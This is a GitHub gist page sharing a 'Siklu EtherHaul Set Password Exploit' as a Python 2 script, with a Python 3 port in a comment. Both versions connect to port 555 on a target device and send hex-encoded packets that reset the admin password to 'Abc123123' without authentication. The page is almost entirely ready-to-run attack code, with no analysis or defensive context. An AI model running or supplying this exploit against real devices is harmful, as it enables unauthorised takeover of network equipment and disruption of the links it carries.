Skip to content

Instantly share code, notes, and snippets.

@xorr0
Forked from ianling/siklu_etherhaul_setpw.py
Created November 15, 2019 15:51
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xorr0/dabc1f8668d68d0791a6d00428cb0fe0 to your computer and use it in GitHub Desktop.
Save xorr0/dabc1f8668d68d0791a6d00428cb0fe0 to your computer and use it in GitHub Desktop.
Siklu EtherHaul Set Password Exploit
import socket
from time import sleep
#this sets the password to 'Abc123123'
target = '1.2.3.4'
admin = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x39\x00\x00\x00\x00\x61\x64\x6d\x69\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
setpassword = bytearray(b'\x73\x69\x6d\x70\x6c\x65\x2d\x63\x6f\x6d\x6d\x61\x6e\x64\x20\x73\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6d\x69\x6e\x20\x74\x79\x70\x65\x20\x61\x64\x6d\x69\x6e\x20\x70\x61\x73\x73\x77\x20\x41\x62\x63\x31\x32\x33\x31\x32\x33\x00') #Abc123123
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 555)) # set target here
s.send(admin)
s.send(setpassword)
sleep(4)
print s.recv(4096)
s.close()
@xorr0
Copy link
Author

xorr0 commented Mar 3, 2020

Python 3

import socket
from time import sleep
import sys

#this sets the password to 'Abc123123'
target = str(sys.argv[1])  # the target
port = 555

admin = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x39\x00\x00\x00\x00\x61\x64\x6d\x69\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
setpassword = bytearray(b'\x73\x69\x6d\x70\x6c\x65\x2d\x63\x6f\x6d\x6d\x61\x6e\x64\x20\x73\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6d\x69\x6e\x20\x74\x79\x70\x65\x20\x61\x64\x6d\x69\x6e\x20\x70\x61\x73\x73\x77\x20\x41\x62\x63\x31\x32\x33\x31\x32\x33\x00') #Abc123123

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))  # set target here
s.send(admin)
s.send(setpassword)
sleep(4)
print(s.recv(4096))
s.close()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment